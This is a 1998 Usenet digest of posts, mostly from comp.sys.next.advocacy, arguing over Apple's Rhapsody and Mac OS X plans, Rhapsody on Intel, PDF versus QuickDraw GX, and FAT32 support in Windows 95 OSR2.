Date: Sun, 17 May 1998 03:56:42 -0500
Organization: KAOS
Message-ID: <199805170356421081049@sdn-ts-009txhousp10.dialsprint.net>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <Zvv71.2305$Fi2.1265079@news.rdc1.sdca.home.com>
Rex Riley wrote:
> I wrote:
>
> > It does seem, in a way, that Jobs is finally making that next-generation
> > Mac he sought by founding NeXT. But do NeXT watchers view this as a bad
> > thing?
>
> That's your " personal " view, that Steve is finally making a next-generation
> Mac. I don't share the view that the next generation Mac is closure for a
> journey begun 10 years ago with Jobs formation of NeXT.
>
> That people empower a belief in Job's motivations as being limited to a 10
> year old personal inspiration, is understandable but not useful. The stakes
> are much higher than this and the rewards will be too.
What I was getting at is that some 10 years later Jobs is returning to
an idea he had previously abandoned, once again promoting an integrated,
proprietary solution (HW+SW) for the masses which incorporates a variety
of technologies that he fostered. I don't know whether this is
attributable to inspiration, destiny or coincidence, but in any case I
find it intriguing. I posed my question above the way I did because I
was interested in how NeXT users who had experienced the rise and fall
of Jobs's previous hardware strategy would view a return to that
strategy under Apple's auspices and in a more brutally competitive
environment. I agree, however, that there's much more at stake than
personal closure for Jobs; perhaps he considers that a bonus.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: "Bobby D. Bryant" <bdbryant@mail.utexas.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 17 May 1998 05:45:19 -0500
Organization: The University of Texas at Austin
Message-ID: <355EBFBF.6A00DEA4@mail.utexas.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net>
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John Saunders wrote:
> Craig Kelley wrote in message <6in9be$jdd$1@inconnu.isu.edu>...
> >In article <6imcmk$oj1$3@ligarius.ultra.net>,
>
> >Umm, Windows95 supports Fat32... (and you have yet to make a point)
>
> Kindly distinguish Win95 OSR2 from the retail release. My laptop supports
> FAT32 (with no convert utility), but my old Gateway 486 does not. If I want
> FAT32 on my Gateway system (and if I'm not a thief), then I need Windows 98.
Umm, could you tell us again who it is that's keeping MS from making OSR2
available to the public? Surely, it couldn't be because doing so would hurt
the sales of W'98 (or 99, or whatever), could it?
Bobby Bryant
Austin, Texas
From: rajt@gco.apana.org.au (Raj Thomas)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sat, 16 May 1998 10:50:42 GMT
Organization: Australian Public Access Network Association (APANA)
Message-ID: <355e6f80.1756816@news.sydney.apana.org.au>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com>
Mime-Version: 1.0
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Someone who claimed to be akira@home.com wrote:
>solution is NOT NT. Ernest did say that Apple does understand that a lot of
>us do want this. While it would take a non-insignificant amount of effort
>to keep delivering an Intel version, with the work that they have done on
>Mach and the IOKit for drivers, the portability of the kernel to Intel is
>possible, and they will keeping an open mind to doing it. It all depends
>mainly on the market.
Sounds like Ernest chose a polite way of saying "NO".
Date: Sun, 17 May 1998 07:43:30 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Message-ID: <joe.ragosta-1705980743310001@elk61.dol.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de> <B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net> <3_r71.216$Jb1.1285225@news.rdc1.sfba.home.com>
In article <3_r71.216$Jb1.1285225@news.rdc1.sfba.home.com>, akira@home.com
wrote:
> On 05/16/98 in the group comp.sys.next.advocacy you wrote:
> >In article <B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com>, akira@home.com
> >wrote:
> >
> >> There will be NO more later Rhapsody/x86 releases. None, zero, zip!
> Unless
> >> the market can convince Apple that it is appropriate to continue.
> >
> >Please provide some evidence to back up this position.
>
> Get the audio tapes, http://www.vwtapes.com/, for the Yellow Box feedback
> session. I asked the question, I got the answer. There will be NO
> Rhapsody/x86 past Rhapsody 1.0. Simple as that. Not too hard to verify.
Please provide the exact wording and the point of time in the tape where
this statement was made.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: "Ian Betteridge" <ianb@well.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: 17 May 98 12:52:53 +0100
Message-ID: <B1848E28-1444E@158.152.49.144>
References: <355DCB6D.4269@earthlink.net>
nntp://news.demon.co.uk/comp.sys.next.advocacy
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On Sat, May 16, 1998 6:23 pm, Steve Kellener
<mailto:skellener@earthlink.net> wrote:
>I disagree. IMHO NeXT had a better GUI than the Mac and it had a CLI.
>
CLI's are great as a power user option. For a product aimed at consumers,
they're a liability, and make the system more difficult to support -
especially when they aren't the regular operating environment. If a user is
used to working with windows and icons, he can make a lot of mistakes if he
accidentally wanders in to that CLI.
After all, if CLI's were so good we'd all still be using DOS, right? :-)
--
Ian Betteridge News Editor, MacUser UK
Phone: +44 (0)171 917 3872 Pager: 0336 723255
"Interactive is the wrong word. It should be..."
From: "Ian Betteridge" <ianb@well.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 17 May 98 13:06:30 +0100
Message-ID: <B184915A-204A5@158.152.49.144>
nntp://news.demon.co.uk/comp.sys.mac.advocacy,
nntp://news.demon.co.uk/comp.sys.next.advocacy
MIME-Version: 1.0
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On Sat, May 16, 1998 7:00 pm, Lawson English <mailto:english@primenet.com>
wrote:
>Unless PDF has changed drastically since version 2.0, I've never felt that
>the format is very conducive to editing, or interaction. Why use a
metafile
>format which is designed for frozen graphics?
It has improved significantly.
>Last I looked, PDF didn't support transparencies, so you guys must be
doing
>something to pass along transparent, overlapping graphics via PDF. Will
>this solution allow anyone to reconstruct the original graphic?
>
Actually PS doesn't support true transparencies either, which is why
Illustrator still doesn't support them. Freehand uses a workaround that's
quite effective.
--
Ian Betteridge News Editor, MacUser UK
Phone: +44 (0)171 917 3872 Pager: 0336 723255
"Interactive is the wrong word. It should be..."
From: "Ian Betteridge" <ianb@well.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 17 May 98 13:09:08 +0100
Message-ID: <B18491F7-22984@158.152.49.144>
References: <nagleEt2BBL.Irx@netcom.com>
nntp://news.demon.co.uk/comp.sys.mac.advocacy,
nntp://news.demon.co.uk/comp.sys.next.advocacy
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On Sat, May 16, 1998 7:28 pm, John Nagle <mailto:nagle@netcom.com> wrote:
> Adobe PDF was mostly used for web shovelware, where somebody needed
to
>needed to cram existing content on the Web in a hurry. It's on the way
>out as tools for converting existing documents into HTML become better.
>Apple wants to use that as a graphics file format?
>
PDF is also becoming increasingly popular as the file format for the
publishing and prepress industries, the aim being to get rid of the hideous
nightmare of sending Quark documents and EPS files to a bureau. In that
context - which is, after all, Apple's biggest remaining market - native
PDF support makes a lot of sense.
--
Ian Betteridge News Editor, MacUser UK
Phone: +44 (0)171 917 3872 Pager: 0336 723255
"Interactive is the wrong word. It should be..."
From: "Ian Betteridge" <ianb@well.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 17 May 98 13:14:18 +0100
Message-ID: <B184932D-27269@158.152.49.144>
References: <B183D7A4-C17E@206.165.43.147>
nntp://news.demon.co.uk/comp.sys.mac.advocacy,
nntp://news.demon.co.uk/comp.sys.next.advocacy
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On Sun, May 17, 1998 7:54 am, Lawson English <mailto:english@primenet.com>
wrote:
>Discrediting someone by citing the very latest manual as though this means
>that ALL versions of PDF/Distiller/PS never did something is an
interesting
>tactic
>
That capability has been in Acrobat since at least 2.0. I wrote a 'Design
Workshop' piece on converting Quark documents to Acrobat about three years
ago that made the point that embedding the font was optional.
And I would imagine that Apple will be using the latest version of PDF!
--
Ian Betteridge News Editor, MacUser UK
Phone: +44 (0)171 917 3872 Pager: 0336 723255
"Interactive is the wrong word. It should be..."
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 17 May 1998 08:33:35 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6jmlqi$lms$1@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <355EBFBF.6A00DEA4@mail.utexas.edu>
Bobby D. Bryant wrote in message <355EBFBF.6A00DEA4@mail.utexas.edu>...
>John Saunders wrote:
>
>> Craig Kelley wrote in message <6in9be$jdd$1@inconnu.isu.edu>...
>> >In article <6imcmk$oj1$3@ligarius.ultra.net>,
>>
>> >Umm, Windows95 supports Fat32... (and you have yet to make a point)
>>
>> Kindly distinguish Win95 OSR2 from the retail release. My laptop supports
>> FAT32 (with no convert utility), but my old Gateway 486 does not. If I
want
>> FAT32 on my Gateway system (and if I'm not a thief), then I need Windows
98.
>
>Umm, could you tell us again who it is that's keeping MS from making OSR2
>available to the public? Surely, it couldn't be because doing so would
hurt
>the sales of W'98 (or 99, or whatever), could it?
>
Hi, Bobby,
Thanks for responding, but I posted this question so long ago (5/5) that it
took me a while to find it! I just went back in time trying to find how
I've answered this question before. The problem is, I must have had some
real bad days back then! My answers verged on raving
>Bobby Bryant
>Austin, Texas
>
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 17 May 1998 09:02:02 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6jmnrg$lot$1@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <355EBFBF.6A00DEA4@mail.utexas.edu>
Bobby D. Bryant wrote in message <355EBFBF.6A00DEA4@mail.utexas.edu>...
>John Saunders wrote:
>
>> Craig Kelley wrote in message <6in9be$jdd$1@inconnu.isu.edu>...
>> >In article <6imcmk$oj1$3@ligarius.ultra.net>,
>>
>> >Umm, Windows95 supports Fat32... (and you have yet to make a point)
>>
>> Kindly distinguish Win95 OSR2 from the retail release. My laptop supports
>> FAT32 (with no convert utility), but my old Gateway 486 does not. If I
want
>> FAT32 on my Gateway system (and if I'm not a thief), then I need Windows
98.
>
>Umm, could you tell us again who it is that's keeping MS from making OSR2
>available to the public? Surely, it couldn't be because doing so would
hurt
>the sales of W'98 (or 99, or whatever), could it?
>
Hi, Bobby,
Thanks for responding, but I posted this question so long ago (5/5) that it
took me a while to find it! I'm glad to respond, but did you realize the
date of the post to which you were responding? Just a "word to the wise".
I just went back in time trying to find how I've answered this question
before. The problem is, I must have had some real bad days back then! My
answers verged on raving! If you're just catching up in the newsgroup,
please try to ignore the tone of my old messages, though the facts still
seem to hold up.
Now, to answer. I am not a mind reader, so I don't _know_ why Microsoft
doesn't make a service pack out of the features in OSR2 (or OSR2.1). I
suspect that, as many others here have stated, the FAT32 features shipped in
OSR2 are not ready for prime time. Keep in mind that it's easy for an
end-user to use FAT32 on a new disk, perhaps purchased with a new system:
the OEM has already formatted the disk with FAT32, and then perhaps
installed Windows 95 and various other purchased software on the disk. The
end-user has no FAT32-related tasks to perform.
On the other hand, an end-user who applied this hypothetical Windows 95
Service Pack would have to back up his disk, re-format it with FAT32, then
restore the data to the newly-formatted disk. I don't believe the OEM
release comes with a convert utility, so our hypothetical Windows 95 Service
Pack wouldn't either.
There is far too much danger of permanent data loss here. Microsoft would be
held responsible for the destruction of tens of thousands of end-user's hard
disks if they shipped such a Service Pack broadly. The Press would have a
field day! Customers might even delay purchase of new systems with OSR2 on
it long enough to convince themselves that the data destruction they were
hearing about in the press wasn't due to a bug in OSR2.
And Microsoft would have to ship it broadly since they don't really have a
good mechanism to just ship to "power users". Presumably, there's some
subset of Windows 95 users who can be trusted to do a full backup that can
be restored to their boot disk. [*] Even if Microsoft could limit the
shipment of "Win95 SP2" to these users, we all know some "Good Samaritan"
would post the code to a public FTP site! And then there would be a lot more
calls to Microsoft saying, "how do I get back my data after I FORMATed my
disk?"
I hope that answers your question. Let me know if it doesn't.
Thanks,
John Saunders
jws@jws.ultranet.com
[*] I wonder how many Windows 95 users have actually restored their full
backups and so know that they actually work? I'm a 23-year veteran
programmer and I wouldn't trust my Windows 95 full backups unless I had to!
I'm used to *real* backup programs!
From: John Saunders <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 17 May 1998 13:17:12 GMT
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6jmo0o$mqn$1@strato.ultra.net>
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From: kwaltd@newsguy.com (Kris Amico)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sun, 17 May 1998 05:37:45 -0700
Organization: http://extra.newsguy.com
Message-ID: <kwaltd-ya02408000R1705980537450001@enews.newsguy.com>
References: <kwaltd-ya02408000R1605981229210001@enews.newsguy.com> <B1834FED-9CF5@206.165.43.149>
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In article <B1834FED-9CF5@206.165.43.149>, "Lawson English"
<english@primenet.com> wrote:
> Kris Amico <kwaltd@newsguy.com> said:
>
> >
> >Seems like the only really good use for PDFs is transporting printed
> >material that is to be REprinted, and not much else. The way they have
> >come to be used as of late is very annoying indeed.
>
>
>
> Contrast that with GX's far simpler picture format:
>
> picture
> ...
> shape
> shape
> ...
> picture
> ...
> shape
> shape
> picture
> ...
> shape
> shape
> picture
> shape
> shape
> shape
> picture
> ...
>
> etc.
>
> What could be easier for extracting graphics and text and manipulating it
> and reinserting it at the same layer in the image?
>
I know you are a super fan of GX, but I am of the opinion that we cannot
really judge Apple's recent decisions until we see what we really have to
work with. Until it is in front of me, I am not really going to say
anything, as there certainly is not much we can do about what has happened.
I have played with some GX things, and can respect the technology itself,
but these decisions are not made just because "the people up there are
idiots". I am sure there is more to it, and judging Apple's recent
decisions with nothing real in front of us to look at is not prudent.
-K (ICQ#: 3309936)
[ The reply-to address is valid ]
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sun, 17 May 1998 07:36:53 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355ED9E5.125B0395@milestonerdl.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de> <B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com>
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To: akira@home.com
akira@home.com wrote:
> Repeat after me: No more Rhapsody/x86 after Rhapsody 1.0. Period. Direct
> from Apple to me to you.
Do you have proof? A QT, hunk of apple paper, press release?
Or, can you at least lay out your logic?
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sun, 17 May 1998 07:44:04 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355EDB94.4A38F0A9@milestonerdl.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de> <B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net> <3_r71.216$Jb1.1285225@news.rdc1.sfba.home.com>
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akira@home.com wrote:
> On 05/16/98 in the group comp.sys.next.advocacy you wrote:
> >In article <B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com>, akira@home.com
> >wrote:
> >
> >> There will be NO more later Rhapsody/x86 releases. None, zero, zip!
> Unless
> >> the market can convince Apple that it is appropriate to continue.
> >
> >Please provide some evidence to back up this position.
>
> Get the audio tapes, http://www.vwtapes.com/, for the Yellow Box feedback
> session. I asked the question, I got the answer. There will be NO
> Rhapsody/x86 past Rhapsody 1.0. Simple as that. Not too hard to verify.
Ouch. That's about as close as it gets, save a press release that says
otherwise.Do you remember any other points from that session? About future (or
lack thereof) for the YB under windows?
> Geez, if we had to rely on everything that came direct from Apple, we
> wouldn't know anything. And seeing as how this came from the panel with
> Ernest Prabhakar, Jordan Dea-Mattson, Mike Ferris, and other folks who's
> names I can't remember but are actively involved in doing the YB coding, I
> think it's safe to assume this is the *current* official position.
Agreed.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sun, 17 May 1998 07:50:40 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355EDD20.DC106588@milestonerdl.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de>
<B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net>
<3_r71.216$Jb1.1285225@news.rdc1.sfba.home.com> <6jlu2e$dp0$8@newsfep4.sprintmail.com>
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macghod@concentric.net wrote:
> > >> There will be NO more later Rhapsody/x86 releases. None, zero, zip!
> > Unless
> > >> the market can convince Apple that it is appropriate to continue.
>
> > >Otherwise, your just another trolling Wintel FUDster.
> >
> > Hmm, well since I've been doing Next programming for 6 years now, I can say
> > reasonably that I'm not some Wintel weenie, or some Mac weenie either. How
> > about you? Looks like all you are is some trolling Mac FUDster.
>
> Heheheheh, you havent been around comp.sys.mac.advocacy too long have you?
> If you had you would know by know that if you dont staunchly support apple,
> you are automatically a wintel troll. For instance, Jason, who runs linux on
> power pc's, he is a wintel troll. Doesnt matter he doesnt use windows or
> that he probably dislikes it, he is still a wintel troll.
Yea, Me, I've had the same label applied by Ragosta. His great one-liner was
'try using a Mac sometime'. When I mentioned my TAM, and how the Disk
I/O-Network proformance blew chunks, how a 90 mhz pentium under Unix smoked its
sorry little TAM-ass, Joe just dropped the thread.
Remember: If it's questioning Apple Party Line, you are a wintel troll....at
least by those here who can not defend their position with truth and logic.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 08:01:41 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355EDFB5.BDCB690B@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news> <ericb-1405981159190001@132.236.171.104> <andyba-ya02408000R1505981738020001@news> <joe.ragosta-1605980714480001@elk81.dol.net> <nagleEt2nD0.5xF@netcom.com> <199805161935411709091@sdn-ts-002txhousp06.dialsprint.net>
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John Bauer wrote:
> Isn't it rather petty to hold on to Copland's broken promise? This
> isn't the Alamo!
If your believe is that past actions are a way to determine the future
actions, then pettyness has nothing to do with it.
You are bringing up the past incident to attempt to predict the future.
> Besides, the reliability of Apple's current schedule
> has nothing to do with Copland. Move on.
And I've heard that 'Apple has changed' with Scully, Spindler, Amelio and
Jobs.
And some things have changed. Others havn't.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sun, 17 May 1998 07:58:00 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355EDED8.23B8E3E0@milestonerdl.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de> <B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net> <3_r71.216$Jb1.1285225@news.rdc1.sfba.home.com> <joe.ragosta-1705980743310001@elk61.dol.net>
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To: Joe Ragosta <joe.ragosta@dol.net>
Joe Ragosta wrote:
> > Get the audio tapes, http://www.vwtapes.com/, for the Yellow Box feedback
> > session. I asked the question, I got the answer. There will be NO
> > Rhapsody/x86 past Rhapsody 1.0. Simple as that. Not too hard to verify.
> Please provide the exact wording and the point of time in the tape where
> this statement was made.
Joe,
Why not spend the whopping $10 and just BUY the tape?
Or, is cheap another word that describes you.
WWDC-98-197 (1-tape set)
Yellow Box Feedback
Forum
seems to be the right one. When *I* get conformation, I'll send for the tape.
I want to hear for myself Apple driving yet another nail in the credibility of
'cross-platform'.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: "Apple please announce YB NT5/98 support, and a commitment to Mach/Rhapsody/YB on Intel"
Date: Sun, 17 May 1998 08:34:19 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355EE75B.BAAEEFBB@milestonerdl.com>
References: <355B510B.250023F2@milestonerdl.com> <1d93da2.1ec6ffu1jjlccxN@carina47.wco.com> <355DA040.D6BEABC3@milestonerdl.com> <6jlfq6$jua$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> In article <355DA040.D6BEABC3@milestonerdl.com>, mark@milestonerdl.com wrote:
> > Mike Paquette wrote:
> > > Ali Ozer mentioned in his Yellow Box session on Tuesday that Yellow Box
> > > for Windows works on Windows 98 Release Candidates and the Windows NT
> > > 5.0 beta.
> > > It works on the machine in my office, too...
> > Really?
> > Is there a QT of this session?
> You do realize that Mike's an Apple YB engineer, don't you? Don't you
> think he might know a little something about YB?
And so the session # where this is mention was what? Is there a QT of it?
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 17 May 1998 14:31:19 GMT
Organization: Idiom Communications
Message-ID: <6jmsbn$754$5@news.idiom.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <355e6f80.1756816@news.sydney.apana.org.au>
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Cc: rajt@gco.apana.org.au
Raj Thomas may or may not have said:
-> Someone who claimed to be akira@home.com wrote:
->
-> >solution is NOT NT. Ernest did say that Apple does understand that a lot
of
-> >us do want this. While it would take a non-insignificant amount of
effort
-> >to keep delivering an Intel version, with the work that they have done on
-> >Mach and the IOKit for drivers, the portability of the kernel to Intel is
-> >possible, and they will keeping an open mind to doing it. It all depends
-> >mainly on the market.
->
-> Sounds like Ernest chose a polite way of saying "NO".
Many have told Apple on many occasions, there is a way to make this happen.
Let a third party do it. There could be a Rhapsody and Mac OS X for
everything from the Mac II FX (man would that be *slow*) to the Dec Alphas.
Just make it possible for third parties to buy a source license. We'll take
it from there. Figure out how much you want to make for each copy of Mac OS
that's sold on someone else's hardware and then let us at it.
As I told Guy Kawasaki several years ago:
-> When other companies can make products that work with your OS, with or
-> without your help and/or approval, then the Mac will be a mass-market OS.
-> I want it on Dell and DEC machines, I want it on Atari and Amiga machines.
-> I want it on hardware that's really good, and I want it on '386 PC's. In
-> short, until the Mac OS exists on hardware that Apple would consider
-> beneath contempt, and on machines that Apple just couldn't make because
-> Apple's not set up to sell a $500,000 workstation, then the Mac OS is an
-> Apple-only market.
-jcr
Date: Sun, 17 May 1998 09:29:45 -0500
From: djboccip@hiwaay.net (Dennis J. Boccippio)
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <djboccip-1705980929460001@tnt2-127.hiwaay.net>
References: <1d954yz.ds1gve1l8datsN@carina37.wco.com> <B183D7A4-C17E@206.165.43.147>
Organization: NASA/MSFC HR-20
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
In article <B183D7A4-C17E@206.165.43.147>, "Lawson English"
<english@primenet.com> wrote:
>
> I guess that you better tell the engineers at Apple about this since they
> (including the one working on GX typography) have been claiming that PS
> print files don't manage fonts very well.
>
> Or perhaps, Distiller 3.0 doesn't do this (maybe PS 3.0 doesn't either),
> but PS 2.0 did?
>
> Discrediting someone by citing the very latest manual as though this means
> that ALL versions of PDF/Distiller/PS never did something is an interesting
> tactic
>
> Publicly denouncing a specific person is also an interesting tactic.
>
> Do you get paid extra for it?
>
No, actually MSFC employees don't get overtime, nor do they, as a rule,
have any vested interest in Adobe, Postscript, PDF or any of their
products.
Incidentally, Distiller 3.0 has been out for over a year. It's now at 3.1.
Subsetting has nothing to do with Level 3 Postscript. It's not bleeding-edge
technology. Forget the docs, the blurbs are available from Adobe; you
don't need to buy the product to discover what it can do.
Citing the "very latest" manual is a perfectly valid thing to do if someone
spouts negative and inaccurate information about a technology.
If it's wrong, divert it out of the stream of Conventional Wisdom
ASAP, or all discourse eventually becomes meaningless. Nothing personal,
Lawson, you were just wrong on this one.
Dennis
--
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
_/ Dr. Dennis J. Boccippio _/
_/ Global Hydrology and Climate Center, NASA / MSFC HR-20 _/
_/ Marshall Space Flight Center, AL 35812 _/
_/ http://fly.hiwaay.net/~djboccip/intro.html _/
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
From: Steven W. Schuldt <sschuldt@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 17 May 1998 14:46:04 GMT
Organization: MediaOne -=- Northeast Region
Message-ID: <6jmt7c$78g$1@ndnws01.ne.highway1.com>
References: <355c810a.0@206.25.228.5>
In article <355c810a.0@206.25.228.5> writes:
> The point of the above endless diatribe is: yes, I too can stand
> the hit of that puke tinker UI alone and in and of itself. But if
> apple strips the system of too much more of what made it great, it
> really is just pushing me towards "aw I don't give a F***" land.
> YMMV.
> --
> Thanks, be well, take care, later, John Kheit; self expressed...
>
Fortunately, this convoluted abortion of a new imaging model (I daresay the
Copland of imaging models) won't be cobbled together in time for Rhapsody 1.0,
which will still have the lovely DPS. I might resign myself to rusting away
on the beautiful, under-rated OPENSTEP 4.2 except the Rhap has real Java
support which is too tempting. Oh yeah, and the ability to run Mac apps,
which Steve Jobs tells me is what I want ("What do people want?") more than
anything. Or maybe he is telling me that I'm an unperson because I don't
really care much about that capability at all. Can't be sure.
I think I'm stopping there, though (and maybe finding a new career;
computerBusiness = [[NSSlothAndInertia alloc]
initWithOperatingSystem:MacOSX]). Maybe just get a G3 and a PostScript
printer and buy a farm in Vermont. Grow pumpkins or something. Somebody
phone me when the computer business finally implodes from terminal Win32 and
the Mac Toolbox decay. I'll be glad to help when someone gets serious about
building a no compromise OO operating system.
While I really appreciate the StepWise positive spin on all of this (keeps we
old NeXT men from diving for a window in these dark days), Scott is perhaps a
little _too_ nice and diplomatic. Sometimes people need to have their necks
wrung for doing things like pulling the rug from under a dream operating
system for some quick filthy lucre and to smother the young competitors of
bloated Silcon Valley software cartels like Adobe/Macromedia. Some things are
simply not Good News, and which when spun as such can ring a little hollow as
the casualties pile up.
Anyway, MacOSX sounds like vomit city; not someplace I plan to relocate to.
- Steve
Boston '98 +On +On
WebObjects Consulting Gun for Hire
EMail for Resume
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 17 May 1998 14:38:40 GMT
Organization: P & L Systems
Message-ID: <6jmspg$1cc$54@ironhorse.plsys.co.uk>
References: <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <B1800144-FB3B5@204.31.112.110>
<355AD786.FD81A010@milestonerdl.com> <see-below-1405982138030001@209.24.240.162>
<6jh0fi$1cc$38@ironhorse.plsys.co.uk> <see-below-1505980333080001@209.24.240.3>
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In <see-below-1505980333080001@209.24.240.3> Matthew Vaughan wrote:
> > > > but then what's the diff between Rhapsody/PPC and MacOS X?
> > >
> > Carbon APIs and the imaging model.
> > (Along with various other enhancements, lime Mach 3 kernel, better
BlueBox
> > etc.)
> >
> Are you talking about only CR1, or about later releases (ie, same time as
> OS 10)? In other words, did they say any more about continuing
> Rhapsody/PPC (server) releases, and how/when/if it will merge into OS 10?
>
My understanding is that MacOS X is Rhapsody 2.0.
So the point at which they add Carbon APIs, change the imaging model and
switch to the Mach 3 kernel (whatever colour it is) is when Rhapsody becomes
MacOS X.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
